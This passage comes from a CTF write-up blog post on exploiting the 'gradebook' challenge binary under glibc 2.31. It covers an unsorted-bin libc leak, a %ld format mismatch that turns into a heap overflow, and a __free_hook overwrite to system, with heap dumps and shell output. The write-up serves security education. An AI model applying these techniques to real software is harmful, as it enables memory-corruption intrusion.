<p>All this does is free + null out every student + student name. After which we set <code class="language-plaintext highlighter-rouge">total_students</code> = 0 so even if students were not nulled, there would be no way to free them twice.</p>

<p>Now that we have a good idea what each function does, we can see how to exploit it.</p>

<h1 id="exploitation">Exploitation</h1>

<h2 id="leaks">Leaks</h2>

<p>Before we go any further, note the protections on the binary:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
</code></pre></div></div>

<p>To put it bluntly, were gonna need at least a libc leak before we can go further, unless we find a primitive for a partial overwrite (spoilers: i didnt find any).</p>

<p>Let me draw your attention to <code class="language-plaintext highlighter-rouge">add_student</code> for a minute, specifically these lines, and their accompanying comment:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">name_length</span><span class="p">);</span>               <span class="c1">// alloc from provided student name length</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">8uLL</span><span class="p">);</span>                       <span class="c1">// clear first 8 bytes to elimin8 leaks, what if there is another value?</span>
</code></pre></div></div>

<p>Like the comment says, this is here to stop us from leaking an address left after the name chunk is re-used, however it doesnt take into account <code class="language-plaintext highlighter-rouge">bk</code>. Lets take a look at the <a href="https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L1048">chunk structure</a> for glibc 2.31:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">malloc_chunk</span> <span class="p">{</span>

  <span class="n">INTERNAL_SIZE_T</span>      <span class="n">mchunk_prev_size</span><span class="p">;</span>  <span class="cm">/* Size of previous chunk (if free).  */</span>
  <span class="n">INTERNAL_SIZE_T</span>      <span class="n">mchunk_size</span><span class="p">;</span>       <span class="cm">/* Size in bytes, including overhead. */</span>

  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd</span><span class="p">;</span>         <span class="cm">/* double links -- used only if free. */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk</span><span class="p">;</span>

  <span class="cm">/* Only used for large blocks: pointer to next larger size.  */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd_nextsize</span><span class="p">;</span> <span class="cm">/* double links -- used only if free. */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk_nextsize</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As you probably know, the chunk that the user of <code class="language-plaintext highlighter-rouge">malloc</code> recieves points to where <code class="language-plaintext highlighter-rouge">fd</code> would be in memory; by clearing the first 8 bytes of said memory we clear the <code class="language-plaintext highlighter-rouge">fd</code> pointer. But as the comment says these are double links, meaning both can be used.</p>

<p>A simple tcache or fastbin which is organized as a singly linked list only needs <code class="language-plaintext highlighter-rouge">fd</code>, which the <code class="language-plaintext highlighter-rouge">memset</code> call correctly clears, however chunks in the large and unsorted bin are a <code class="language-plaintext highlighter-rouge">double</code> linked list. I think you know where i’m going with this.</p>

<p>It gets better - chunks free’d into the unsorted-bin have their <code class="language-plaintext highlighter-rouge">bk</code> pointing back into libc where the bin-list starts:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">if</span> <span class="p">(</span><span class="n">nextchunk</span> <span class="o">!=</span> <span class="n">av</span><span class="o">-&gt;</span><span class="n">top</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// [...]</span>
          <span class="cm">/*
    	Place the chunk in unsorted chunk list. Chunks are
    	not placed into regular bins until after they have
    	been given one chance to be used in malloc.
          */</span>

          <span class="n">bck</span> <span class="o">=</span> <span class="n">unsorted_chunks</span><span class="p">(</span><span class="n">av</span><span class="p">);</span> <span class="c1">// gets location of unsorted bin list - the offset of 'fd' in malloc_chunk (16)</span>
          <span class="n">fwd</span> <span class="o">=</span> <span class="n">bck</span><span class="o">-&gt;</span><span class="n">fd</span><span class="p">;</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">__glibc_unlikely</span> <span class="p">(</span><span class="n">fwd</span><span class="o">-&gt;</span><span class="n">bk</span> <span class="o">!=</span> <span class="n">bck</span><span class="p">))</span>
    	<span class="n">malloc_printerr</span> <span class="p">(</span><span class="s">"free(): corrupted unsorted chunks"</span><span class="p">);</span>
          <span class="n">p</span><span class="o">-&gt;</span><span class="n">fd</span> <span class="o">=</span> <span class="n">fwd</span><span class="p">;</span>
          <span class="n">p</span><span class="o">-&gt;</span><span class="n">bk</span> <span class="o">=</span> <span class="n">bck</span><span class="p">;</span>
</code></pre></div></div>
<p>Theres only one issue: if we dont want our unsorted-bin chunk to immediately be consumed into the top chunk, as is its perogative, we need to fulfill the check which allows us to enter this branch of code in the first place (look at the top of the code snip).</p>

<p>So we need to:</p>

<ol>
  <li>Allocate a student with a big name (at least unsorted-bin size)</li>
  <li>Allocate another student, not unsorted size so it wont consolidate with top when free’d</li>
  <li>Clear the gradebook, thus freeing both chunks.</li>
  <li>Allocate the student with the big name size again, fill in the first 8 bytes but no more.</li>
  <li>List students -&gt; ptr to main_arena comes after the 8 bytes you filled.</li>
</ol>

<p>In hidnsight I realize now that allocating the student chunk before the ID is validated can be used to create a barrier dummy chunk without having to make a whole new student -_-. 
In action this looks like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Enter student id: 
0
Enter student name length: 
1500
Enter student name: 
AAAAAAA
1. Add Student to Gradebook
2. List Students in Gradebook
3. Update Student grade
4. Update Student name
5. Clear Gradebook
6. Exit Gradebook
&gt; 2

NAME: AAAAAAA
�K��� &lt;------------- leaks yay
STUDENT ID: 0
GRADE: Not Entered Yet
____________________________
1. Add Student to Gradebook
2. List Students in Gradebook
3. Update Student grade
4. Update Student name
5. Clear Gradebook
6. Exit Gradebook
&gt; 

</code></pre></div></div>

<h2 id="arbitrary-write">Arbitrary write</h2>

<p>Remember earlier when I commented about the <code class="language-plaintext highlighter-rouge">%ld</code> format string used in update grade?</p>

<p>Remember the layout of each student struct:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">struct_s</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">ID</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
    <span class="kt">int</span> <span class="n">grade</span><span class="p">;</span> <span class="c1">// we write an 8 byte number here</span>
    <span class="kt">int</span> <span class="n">name_length</span><span class="p">;</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now, take into account that <code class="language-plaintext highlighter-rouge">%ld</code> allows you to enter numbers up to 8 bytes. You see it yet? We can use this mismatch to overwrite not only grade, but all of name_length after the allocation for name has already been created. Thus we can use this to make a heap overflow</p>

<p>Take a look at the chaos this can cause:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Student Gradebook
1. Add Student to Gradebook
2. List Students in Gradebook
3. Update Student grade
4. Update Student name
5. Clear Gradebook
6. Exit Gradebook
&gt; 1

Enter student id: 
0
Enter student name length: 
20
Enter student name: 
asdf
1. Add Student to Gradebook
2. List Students in Gradebook
3. Update Student grade
4. Update Student name
5. Clear Gradebook
6. Exit Gradebook
&gt; 3

Enter student id: 
0
Enter grade: 18446744073709551615 // == 0xffffffffffffffff
Grade must be between 0 and 100
1. Add Student to Gradebook
2. List Students in Gradebook
3. Update Student grade
4. Update Student name
5. Clear Gradebook
6. Exit Gradebook
&gt; 4

Enter student id: 
0
Enter student name: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
1. Add Student to Gradebook
2. List Students in Gradebook
3. Update Student grade
4. Update Student name
5. Clear Gradebook
6. Exit Gradebook
&gt; 

</code></pre></div></div>
<p>Lets have a look at the top chunk now:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Chunk(addr=0x5555555592a0, size=0x20, flags=PREV_INUSE)
    [0x00005555555592a0     30 00 00 00 00 00 00 00 ff ff ff ff ff ff ff 7f    0...............]
Chunk(addr=0x5555555592c0, size=0x20, flags=PREV_INUSE)
    [0x00005555555592c0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41    AAAAAAAAAAAAAAAA]
Chunk(addr=0x5555555592e0, size=0x4141414141414140, flags=PREV_INUSE)  ←  top chunk

</code></pre></div></div>
<blockquote>
  <p>:)</p>
</blockquote>

<p>Now that we know how we have a heap overflow, how can we use this? Well another apect of the student struct is it stores the <code class="language-plaintext highlighter-rouge">name</code> pointer which can be written to via <code class="language-plaintext highlighter-rouge">update_name</code>. So if a student struct is stored AFTER our <code class="language-plaintext highlighter-rouge">name</code> buffer in memory we can completely overwrite all of its members, including the <code class="language-plaintext highlighter-rouge">name</code>. Since we also have a leak this is pretty much game over.</p>

<p>If you look at the heap immediately after our unsorted bin shenanigans, you can see that:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Chunk(addr=0x55a886bef010, size=0x290, flags=PREV_INUSE)
    [0x000055a886bef010     01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x55a886bef2a0, size=0x20, flags=PREV_INUSE)
    [0x000055a886bef2a0     00 00 00 00 00 00 00 00 10 f0 be 86 a8 55 00 00    .............U..]
Chunk(addr=0x55a886bef2c0, size=0x510, flags=PREV_INUSE) // name buffer
    [0x000055a886bef2c0     41 41 41 41 41 41 41 41 e0 0b 07 ba f9 7f 00 00    AAAAAAAA........]
Chunk(addr=0x55a886bef7d0, size=0x20, flags=PREV_INUSE) // student stucture for the above name
    [0x000055a886bef7d0     00 00 00 00 00 00 00 00 ff ff ff ff 00 05 00 00    ................]
Chunk(addr=0x55a886bef7f0, size=0x30, flags=PREV_INUSE)
    [0x000055a886bef7f0     00 00 00 00 00 00 00 00 10 f0 be 86 a8 55 00 00    .............U..]
Chunk(addr=0x55a886bef820, size=0x207f0, flags=PREV_INUSE)  ←  top chunk
</code></pre></div></div>

<p>Due to the way we get our leaks, the barrier chunk we allocate as a student is free’d, and is then consumed when we allocate another chunk for the leak AS THAT CHUNK’s STUDENT STRUCTURE.</p>

<p>This means that we can overwrite all members of the struct, including the <code class="language-plaintext highlighter-rouge">name</code> ptr. One thing to be aware of is that you will also smash the <code class="language-plaintext highlighter-rouge">ID</code>, so you need to set it back to a number/string you know so you can find struct again to overwrite the name.</p>

<p>Another problem I had was I kept overwriting the name length with <code class="language-plaintext highlighter-rouge">0xffffffff</code>, because of this the <code class="language-plaintext highlighter-rouge">read</code> syscall in <code class="language-plaintext highlighter-rouge">update_name</code> was failing since the read length went outside the address space of the program - simply use a smaller value for this.</p>

<h2 id="what-to-write">What to write?</h2>

<p>We have a libc leak, and libc in use is 2.31 which means the various debugging hooks in libc (<code class="language-plaintext highlighter-rouge">__free_hook</code>, etc…) are still in use. Imma assume you know about these, but if you dont.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span>
<span class="nf">__libc_free</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">mem</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">mstate</span> <span class="n">ar_ptr</span><span class="p">;</span>
  <span class="n">mchunkptr</span> <span class="n">p</span><span class="p">;</span>                          <span class="cm">/* chunk corresponding to mem */</span>

  <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">hook</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="p">)</span>
    <span class="o">=</span> <span class="n">atomic_forced_read</span> <span class="p">(</span><span class="n">__free_hook</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">__builtin_expect</span> <span class="p">(</span><span class="n">hook</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="c1">// if __free_hook != 0</span>
    <span class="p">{</span>
      <span class="p">(</span><span class="o">*</span><span class="n">hook</span><span class="p">)(</span><span class="n">mem</span><span class="p">,</span> <span class="n">RETURN_ADDRESS</span> <span class="p">(</span><span class="mi">0</span><span class="p">));</span> <span class="c1">// call whatever is there</span>
      <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>If we set the hook to any value other than 0, we get instant RCE. As a bonus the chunk passed to free is also the first argument, meanng if you control the data in the chunk, you may pass anything you want as the first argument.</p>

<p>All my exploit does is set the new name ptr as <code class="language-plaintext highlighter-rouge">&amp;__free_hook</code>, and overwriting it with <code class="language-plaintext highlighter-rouge">system</code>. Prior to freeing the chunks to trigger <code class="language-plaintext highlighter-rouge">system</code>, you must have a chunk which will be freed which contains your command, so you can execute <code class="language-plaintext highlighter-rouge">system(your_cmd)</code>.</p>

<p>After overwriting name:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x0000556f775ac7d0│+0x0000: 0x0000000000000000 // id
                              [length] [grade]
0x0000556f775ac7d8│+0x0008: 0x00000100ffffffff
0x0000556f775ac7e0│+0x0010: 0x00007f15844d1b28  →  0x0000000000000000 // name ptr (__free_hook)
</code></pre></div></div>

<p>And after the new name, <code class="language-plaintext highlighter-rouge">system</code> is written</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x0000556f775ac7d0│+0x0000: 0x0000000000000000
0x0000556f775ac7d8│+0x0008: 0x00000100ffffffff
0x0000556f775ac7e0│+0x0010: 0x00007f15844d1b28  →  0x00007f1584338410  →  &lt;system+0&gt; endbr64 
</code></pre></div></div>

<p>And finally, after we free:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls -la
[DEBUG] Sent 0x7 bytes:
    b'ls -la\n'
[DEBUG] Received 0x177 bytes:
    b'total 2024\n'
    b'drwxr-xr-x  2 root root    4096 Nov 14 17:00 .\n'
    b'drwxr-xr-x 15 root root    4096 Nov 13 22:02 ..\n'
    b'-rw-r--r--  1 root root    2380 Nov 14 17:00 exp2.py\n'
    b'-rw-r--r--  1 root root    2367 Nov 12 20:35 exp.py\n'
    b'-rwxr-xr-x  1 root root   17608 Nov 11 21:34 gradebook\n'
    b'-rwxr-xr-x  1 root root 2029224 Nov 11 21:34 libc.so.6\n'
    b'-rw-r--r--  1 root root     283 Nov 12 22:34 notes.md\n'
total 2024
drwxr-xr-x  2 root root    4096 Nov 14 17:00 .
drwxr-xr-x 15 root root    4096 Nov 13 22:02 ..
-rw-r--r--  1 root root    2380 Nov 14 17:00 exp2.py
-rw-r--r--  1 root root    2367 Nov 12 20:35 exp.py
-rwxr-xr-x  1 root root   17608 Nov 11 21:34 gradebook
-rwxr-xr-x  1 root root 2029224 Nov 11 21:34 libc.so.6
-rw-r--r--  1 root root     283 Nov 12 22:34 notes.md
$  
</code></pre></div></div>

<h1 id="conclusion">Conclusion</h1>

<p>This was a nice challenge - i’ve never seen something as subtle as a format string mismatch in a ctf challenge before - it was only one character away from being correct.</p>

<p>Actually all of the challenges I tried were pretty fun - well except the math challenges, I dont wanna talk about that lmao.</p>

<p>See you in 3 months time when I make another one of these, or it might be before. Idk.</p>

<p>Peace out.</p>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[So for the past little while I didn’t really have anything to write about, i haven’t been competing too much in CTF, but this weekend K3RN3L CTF came around. There was quite alot of fun challenges, one of which was gradebook. Intro Description My teachers been using a commandline gradebook made by a first year student, must be vulnerable somehow. Is that so? (you can find chall+exp files and libc+ld over here) Were given a libc, so after we patch it in we can start: patchelf ./gradebook --replace-needed libc.so.6 ./libc.so.6 Reversing Its apparent from the outset that this challenge seems to follow a similar formula to a heap note challenge. ~/Documents/k3rn3l21/gradebook❯❯❯ ./gradebook Student Gradebook 1. Add Student to Gradebook 2. List Students in Gradebook 3. Update Student grade 4. Update Student name 5. Clear Gradebook 6. Exit Gradebook &gt; Lets take a look into main: int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int choice; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts("Student Gradebook"); while ( 1 ) { puts("1. Add Student to Gradebook"); puts("2. List Students in Gradebook"); puts("3. Update Student grade"); puts("4. Update Student name"); puts("5. Clear Gradebook"); puts("6. Exit Gradebook"); printf("&gt; "); __isoc99_scanf("%d", &amp;choice); putchar(10); switch ( choice ) { case 1: if ( total_students &gt; 9 ) puts("Class is full!"); else add_student(); break; case 2: list_students(); break; case 3: update_grade(); break; case 4: update_name(); break; case 5: close_gradebook(); total_students = 0; break; default: puts("Invalid Choice!"); break; } } } Seems pretty basic, looks as if we can only call add_student 10 times tho. Lets take a look at that function first. add_student __int64 add_student() { struct_s *s; // [rsp+0h] [rbp-20h] void *buf; // [rsp+8h] [rbp-18h] char src[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); s = (struct_s *)malloc(0x18uLL); memset(s, 0, sizeof(struct_s)); // nulls out 24 bytes (aka, nobugs) puts("Enter student id: "); __isoc99_scanf("%8s", src); if ( (unsigned int)lookup(src) == -1 ) // try to find student ID in list of students { strncpy(s-&gt;ID, src, 8uLL); s-&gt;grade = -1; // grade - to be entered puts("Enter student name length: "); __isoc99_scanf("%d", &amp;s-&gt;name_length); buf = malloc(s-&gt;name_length); // alloc from provided student name length memset(buf, 0, 8uLL); // clear first 8 bytes to elimin8 leaks, what if there is another value? puts("Enter student name: "); read(0, buf, s-&gt;name_length); s-&gt;name = (char *)buf; STUDENTS[total_students++] = s; // new student return 1LL; } else { puts("Student ID already taken!"); return 0xFFFFFFFFLL; } } I defined a structure in the code to make it more readable; if you wanna do the same, simply go into IDA, right click and select Create new struct type, after that enter the following, or whatever structure you are defining: struct struct_s { char ID[8]; int grade; int name_length; char *name; } Then set the corresponding variable to this new type. First we allocate space for our new structure then null the first 24 bytes: s = (struct_s *)malloc(0x18uLL); memset(s, 0, sizeof(struct_s)); // nulls out 24 bytes (aka, nobugs) puts("Enter student id: "); __isoc99_scanf("%8s", src); After this, we enter an ID for a new student. Next we look to see if this ID already exists via the lookup function: __int64 __fastcall lookup(const char *a1) { int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i &lt; total_students; ++i ) { if ( !strncmp(STUDENTS[i]-&gt;ID, a1, 8uLL) ) return (unsigned int)i; } return 0xFFFFFFFFLL; } Simple enough, iterate through STUDENTS, which is a list of students to see if any of the ID’s match, if they do then return the idx in students where the duplicate was found. If we didnt find it, simply return -1. Coming back into add_student, we see that if no student with said ID was found, we create the student. Not something too important, but notice that even if the student ID is in use, we allocate space for a new student before the check, seems a bit wasteful but this was allegedly programmed by “a first year student” so no surprises there (this also seems like a real mistake I would make lol). if ( (unsigned int)lookup(src) == -1 ) // try to find student ID in list of students { strncpy(s-&gt;ID, src, 8uLL); s-&gt;grade = -1; // grade - to be entered We copy the ID over into our newly allocated structure, also setting the grade for this student to -1 which is a placeholder for when we insert the grade later. After this its time to insert the name of the student: puts("Enter student name length: "); __isoc99_scanf("%d", &amp;s-&gt;name_length); buf = malloc(s-&gt;name_length); // alloc from provided student name length memset(buf, 0, 8uLL); // clear first 8 bytes to elimin8 leaks, what if there is another value? puts("Enter student name: "); read(0, buf, s-&gt;name_length); s-&gt;name = (char *)buf; First we enter the length, then allocate a chunk of that size to hold the name. We then null the first 8 bytes of the chunk, to avoid leaks. Next we enter student name and write it into the struct. Finally we finish and return, but not before writing our new student into the array and incrementing total_students. STUDENTS[total_students++] = s; // new student return 1LL; } list_students __int64 list_students() { __int64 result; // rax int i; // [rsp+Ch] [rbp-4h] for ( i = 0; ; ++i ) { result = (unsigned int)total_students; if ( i &gt;= total_students ) break; printf("NAME: %s\n", STUDENTS[i]-&gt;name); printf("STUDENT ID: %s\n", STUDENTS[i]-&gt;ID);// hmmm if ( STUDENTS[i]-&gt;grade == -1 ) puts("GRADE: Not Entered Yet"); else printf("GRADE: %d\n", (unsigned int)STUDENTS[i]-&gt;grade); puts("____________________________"); } return result; } This is pretty easy to understand, simply go through the list of students and print out details such as a student’s grades and name. update_grade __int64 update_grade() { int v1; // [rsp+Ch] [rbp-14h] char v2[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Enter student id: "); __isoc99_scanf("%8s", v2); v1 = lookup(v2); if ( v1 == -1 ) { puts("Student not found!"); return 0xFFFFFFFFLL; } else { printf("Enter grade: "); __isoc99_scanf("%ld", &amp;STUDENTS[v1]-&gt;grade);// you can still enter a huge grade, even if it tries to stop you afterwards. if ( STUDENTS[v1]-&gt;grade &lt;= 100 &amp;&amp; STUDENTS[v1]-&gt;grade &gt;= 0 )// done well, even checks for negative { return 1LL; } else { puts("Grade must be between 0 and 100"); STUDENTS[v1]-&gt;grade = -1; return 0xFFFFFFFFLL; } } } This simply attemps to find a student based on the ID, if student is found use the returned idx to edit the students grades, provided they are not above a certain threshold. If the grade does happen to be higher than 100, or less than 0 then we replace the grade with the -1 placeholder again. Take note of the format string used to enter the grade, also note that grade variable is only 4 bytes wide. This will be relevant later ;). update_name ssize_t update_name() { int v1; // [rsp+Ch] [rbp-14h] char v2[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Enter student id: "); __isoc99_scanf("%8s", v2); v1 = lookup(v2); if ( v1 == -1 ) { puts("Student not found!"); return 0xFFFFFFFFLL; } else { puts("Enter student name: "); return read(0, STUDENTS[v1]-&gt;name, STUDENTS[v1]-&gt;name_length); } } Again, similar principle to the latter; look for an ID in STUDENTS, if you find it, change the name with the length value found in the struct. close_gradebook __int64 close_gradebook() { int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i &lt; total_students; ++i ) { free(STUDENTS[i]-&gt;name); // correct order for frees aswell :/ STUDENTS[i]-&gt;name = 0LL; free(STUDENTS[i]); STUDENTS[i] = 0LL; } return 1LL; } All this does is free + null out every student + student name. After which we set total_students = 0 so even if students were not nulled, there would be no way to free them twice. Now that we have a good idea what each function does, we can see how to exploit it. Exploitation Leaks Before we go any further, note the protections on the binary: Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled To put it bluntly, were gonna need at least a libc leak before we can go further, unless we find a primitive for a partial overwrite (spoilers: i didnt find any). Let me draw your attention to add_student for a minute, specifically these lines, and their accompanying comment: buf = malloc(s-&gt;name_length); // alloc from provided student name length memset(buf, 0, 8uLL); // clear first 8 bytes to elimin8 leaks, what if there is another value? Like the comment says, this is here to stop us from leaking an address left after the name chunk is re-used, however it doesnt take into account bk. Lets take a look at the chunk structure for glibc 2.31: struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; } As you probably know, the chunk that the user of malloc recieves points to where fd would be in memory; by clearing the first 8 bytes of said memory we clear the fd pointer. But as the comment says these are double links, meaning both can be used. A simple tcache or fastbin which is organized as a singly linked list only needs fd, which the memset call correctly clears, however chunks in the large and unsorted bin are a double linked list. I think you know where i’m going with this. It gets better - chunks free’d into the unsorted-bin have their bk pointing back into libc where the bin-list starts: if (nextchunk != av-&gt;top) { // [...] /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ bck = unsorted_chunks(av); // gets location of unsorted bin list - the offset of 'fd' in malloc_chunk (16) fwd = bck-&gt;fd; if (__glibc_unlikely (fwd-&gt;bk != bck)) malloc_printerr ("free(): corrupted unsorted chunks"); p-&gt;fd = fwd; p-&gt;bk = bck; Theres only one issue: if we dont want our unsorted-bin chunk to immediately be consumed into the top chunk, as is its perogative, we need to fulfill the check which allows us to enter this branch of code in the first place (look at the top of the code snip). So we need to: Allocate a student with a big name (at least unsorted-bin size) Allocate another student, not unsorted size so it wont consolidate with top when free’d Clear the gradebook, thus freeing both chunks. Allocate the student with the big name size again, fill in the first 8 bytes but no more. List students -&gt; ptr to main_arena comes after the 8 bytes you filled. In hidnsight I realize now that allocating the student chunk before the ID is validated can be used to create a barrier dummy chunk without having to make a whole new student -_-. In action this looks like: Enter student id: 0 Enter student name length: 1500 Enter student name: AAAAAAA 1. Add Student to Gradebook 2. List Students in Gradebook 3. Update Student grade 4. Update Student name 5. Clear Gradebook 6. Exit Gradebook &gt; 2 NAME: AAAAAAA �K��� &lt;------------- leaks yay STUDENT ID: 0 GRADE: Not Entered Yet ____________________________ 1. Add Student to Gradebook 2. List Students in Gradebook 3. Update Student grade 4. Update Student name 5. Clear Gradebook 6. Exit Gradebook &gt; Arbitrary write Remember earlier when I commented about the %ld format string used in update grade? Remember the layout of each student struct: struct struct_s { char ID[8]; int grade; // we write an 8 byte number here int name_length; char *name; } Now, take into account that %ld allows you to enter numbers up to 8 bytes. You see it yet? We can use this mismatch to overwrite not only grade, but all of name_length after the allocation for name has already been created. Thus we can use this to make a heap overflow Take a look at the chaos this can cause: Student Gradebook 1. Add Student to Gradebook 2. List Students in Gradebook 3. Update Student grade 4. Update Student name 5. Clear Gradebook 6. Exit Gradebook &gt; 1 Enter student id: 0 Enter student name length: 20 Enter student name: asdf 1. Add Student to Gradebook 2. List Students in Gradebook 3. Update Student grade 4. Update Student name 5. Clear Gradebook 6. Exit Gradebook &gt; 3 Enter student id: 0 Enter grade: 18446744073709551615 // == 0xffffffffffffffff Grade must be between 0 and 100 1. Add Student to Gradebook 2. List Students in Gradebook 3. Update Student grade 4. Update Student name 5. Clear Gradebook 6. Exit Gradebook &gt; 4 Enter student id: 0 Enter student name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa 1. Add Student to Gradebook 2. List Students in Gradebook 3. Update Student grade 4. Update Student name 5. Clear Gradebook 6. Exit Gradebook &gt; Lets have a look at the top chunk now: Chunk(addr=0x5555555592a0, size=0x20, flags=PREV_INUSE) [0x00005555555592a0 30 00 00 00 00 00 00 00 ff ff ff ff ff ff ff 7f 0...............] Chunk(addr=0x5555555592c0, size=0x20, flags=PREV_INUSE) [0x00005555555592c0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA] Chunk(addr=0x5555555592e0, size=0x4141414141414140, flags=PREV_INUSE) ← top chunk :) Now that we know how we have a heap overflow, how can we use this? Well another apect of the student struct is it stores the name pointer which can be written to via update_name. So if a student struct is stored AFTER our name buffer in memory we can completely overwrite all of its members, including the name. Since we also have a leak this is pretty much game over. If you look at the heap immediately after our unsorted bin shenanigans, you can see that: Chunk(addr=0x55a886bef010, size=0x290, flags=PREV_INUSE) [0x000055a886bef010 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0x55a886bef2a0, size=0x20, flags=PREV_INUSE) [0x000055a886bef2a0 00 00 00 00 00 00 00 00 10 f0 be 86 a8 55 00 00 .............U..] Chunk(addr=0x55a886bef2c0, size=0x510, flags=PREV_INUSE) // name buffer [0x000055a886bef2c0 41 41 41 41 41 41 41 41 e0 0b 07 ba f9 7f 00 00 AAAAAAAA........] Chunk(addr=0x55a886bef7d0, size=0x20, flags=PREV_INUSE) // student stucture for the above name [0x000055a886bef7d0 00 00 00 00 00 00 00 00 ff ff ff ff 00 05 00 00 ................] Chunk(addr=0x55a886bef7f0, size=0x30, flags=PREV_INUSE) [0x000055a886bef7f0 00 00 00 00 00 00 00 00 10 f0 be 86 a8 55 00 00 .............U..] Chunk(addr=0x55a886bef820, size=0x207f0, flags=PREV_INUSE) ← top chunk Due to the way we get our leaks, the barrier chunk we allocate as a student is free’d, and is then consumed when we allocate another chunk for the leak AS THAT CHUNK’s STUDENT STRUCTURE. This means that we can overwrite all members of the struct, including the name ptr. One thing to be aware of is that you will also smash the ID, so you need to set it back to a number/string you know so you can find struct again to overwrite the name. Another problem I had was I kept overwriting the name length with 0xffffffff, because of this the read syscall in update_name was failing since the read length went outside the address space of the program - simply use a smaller value for this. What to write? We have a libc leak, and libc in use is 2.31 which means the various debugging hooks in libc (__free_hook, etc…) are still in use. Imma assume you know about these, but if you dont. void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) // if __free_hook != 0 { (*hook)(mem, RETURN_ADDRESS (0)); // call whatever is there return; } If we set the hook to any value other than 0, we get instant RCE. As a bonus the chunk passed to free is also the first argument, meanng if you control the data in the chunk, you may pass anything you want as the first argument. All my exploit does is set the new name ptr as &amp;__free_hook, and overwriting it with system. Prior to freeing the chunks to trigger system, you must have a chunk which will be freed 